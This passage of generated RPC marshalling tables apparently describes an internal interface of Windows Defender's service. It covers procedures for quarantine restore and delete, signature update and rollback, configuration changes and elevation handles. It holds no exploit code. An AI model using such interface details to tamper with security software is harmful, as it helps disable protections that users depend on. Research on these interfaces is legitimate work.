*/ NdrFcShort( 0x4c ), /* 76 */ +/* 2130 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2132 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 2134 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 2136 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2138 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2140 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2142 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2144 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2146 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2148 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2150 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2152 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2154 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 2156 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2158 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2160 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_4 */ + +/* 2162 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2164 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2166 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2168 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2170 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2172 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc38_ServerMpQuarantineRestoreThreat */ + +/* 2174 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2176 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2180 */ NdrFcShort( 0x26 ), /* 38 */ +/* 2182 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2184 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2186 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2188 */ NdrFcShort( 0x54 ), /* 84 */ +/* 2190 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2192 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 2194 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2196 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2198 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2200 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2202 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2204 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2206 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2208 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2210 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2212 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2214 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2216 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2218 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2220 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_4 */ + +/* 2222 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2224 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2226 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 2228 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2230 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2232 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2234 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2236 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2238 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc39_ServerMpQuarantineDeleteThreat */ + +/* 2240 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2242 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2246 */ NdrFcShort( 0x27 ), /* 39 */ +/* 2248 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2250 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2252 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2254 */ NdrFcShort( 0x4c ), /* 76 */ +/* 2256 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2258 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2260 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2266 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2268 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2270 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2272 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2274 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2276 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2278 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2280 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 2282 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2284 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2286 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2288 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2290 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2292 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc40_ServerMpStateEnumOpen */ + +/* 2294 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2296 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2300 */ NdrFcShort( 0x28 ), /* 40 */ +/* 2302 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2304 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2306 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2308 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2310 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2312 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2316 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2318 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2320 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2322 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2324 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_2 */ + +/* 2326 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2328 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2330 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2332 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2334 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2336 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc41_ServerMpQueryEngineVersion */ + +/* 2338 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2340 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2344 */ NdrFcShort( 0x29 ), /* 41 */ +/* 2346 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2348 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2350 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2352 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2354 */ NdrFcShort( 0x288 ), /* 648 */ +/* 2356 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 2358 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2362 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2364 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2366 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2368 */ NdrFcShort( 0x112 ), /* Flags: must free, out, simple ref, */ +/* 2370 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2372 */ NdrFcShort( 0x5a4 ), /* Type Offset=1444 */ + + /* Parameter arg_2 */ + +/* 2374 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2376 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2378 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2380 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2382 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc42_ServerMpUpdateEngineSignature */ + +/* 2386 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2388 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2392 */ NdrFcShort( 0x2a ), /* 42 */ +/* 2394 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2396 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2398 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2400 */ NdrFcShort( 0x8 ), /* 8 */ +/* 2402 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2404 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 2406 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2408 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2410 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2412 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2414 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2418 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2422 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2424 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2426 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2430 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2436 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc43_ServerMpRollbackEngineSignature */ + +/* 2440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2446 */ NdrFcShort( 0x2b ), /* 43 */ +/* 2448 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2454 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2456 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2458 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2460 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2470 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2474 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc44_ServerMpThreatStaticInfo */ + +/* 2494 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2496 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2500 */ NdrFcShort( 0x2c ), /* 44 */ +/* 2502 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2504 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2506 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2508 */ NdrFcShort( 0x18 ), /* 24 */ +/* 2510 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2512 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 2514 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 2516 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2522 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2524 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2528 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 2530 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2534 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2536 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2540 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_4 */ + +/* 2542 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2546 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2548 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2550 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc45_ServerMpQuerySystemInfo */ + +/* 2554 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2556 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2560 */ NdrFcShort( 0x2d ), /* 45 */ +/* 2562 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 2564 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2566 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2568 */ NdrFcShort( 0x4c ), /* 76 */ +/* 2570 */ NdrFcShort( 0x40 ), /* 64 */ +/* 2572 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 2574 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 2576 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2578 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2582 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2584 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2586 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2588 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2590 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2592 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 2596 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2600 */ NdrFcShort( 0x5d2 ), /* Type Offset=1490 */ + + /* Parameter arg_4 */ + +/* 2602 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2604 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2606 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 2608 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 2610 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2612 */ NdrFcShort( 0x5e2 ), /* Type Offset=1506 */ + + /* Parameter arg_6 */ + +/* 2614 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2616 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2618 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2620 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2622 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2624 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc46_ServerMpRpcConfigSetValue */ + +/* 2626 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2628 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2632 */ NdrFcShort( 0x2e ), /* 46 */ +/* 2634 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 2636 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2638 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2640 */ NdrFcShort( 0x10 ), /* 16 */ +/* 2642 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2644 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 2646 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 2648 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2650 */ NdrFcShort( 0x1 ), /* 1 */ +/* 2652 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2654 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2656 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2658 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2660 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 2662 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2664 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2666 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2668 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2670 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2672 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 2674 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 2676 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2678 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 2680 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2682 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2684 */ NdrFcShort( 0x5fa ), /* Type Offset=1530 */ + + /* Parameter arg_6 */ + +/* 2686 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2688 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 2690 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2692 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2694 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 2696 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc47_ServerMpRpcConfigDelValue */ + +/* 2698 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2700 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2704 */ NdrFcShort( 0x2f ), /* 47 */ +/* 2706 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 2708 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 2710 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2712 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2714 */ NdrFcShort( 0x24 ), /* 36 */ +/* 2716 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 2718 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2720 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2722 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2726 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2728 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2730 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2732 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 2734 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 2736 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2738 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 2740 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2742 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2744 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2748 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2750 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc48_ServerMpRpcElevationHandleOpen */ + +/* 2752 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2754 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2758 */ NdrFcShort( 0x30 ), /* 48 */ +/* 2760 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2762 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2764 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 2766 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2768 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2772 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2774 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2776 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2778 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 2780 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2782 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2784 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2786 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2788 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 2790 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2792 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2794 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2796 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2798 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2800 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc49_ServerMpRpcElevationHandleAttach */ + +/* 2802 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 2804 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2808 */ NdrFcShort( 0x31 ), /* 49 */ +/* 2810 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 2812 */ NdrFcShort( 0x44 ), /* 68 */ +/* 2814 */ NdrFcShort( 0x5c ), /* 92 */ +/* 2816 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 2818 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 2820 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2822 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2824 */ NdrFcShort( 0x0 ), /* 0 */ +/* 2826 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 2828 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 2830 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 2832 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 2834 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 2836 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 2838 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_3 */ + +/* 2840 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 2842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 2844 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 2846 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 2848 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 2850 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc50_ServerMpRpcElevationHandleClose */ + +/* 2852 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2854 */ NdrFcLong( 0x0 ), /* 0 */ +/* 2858 */ 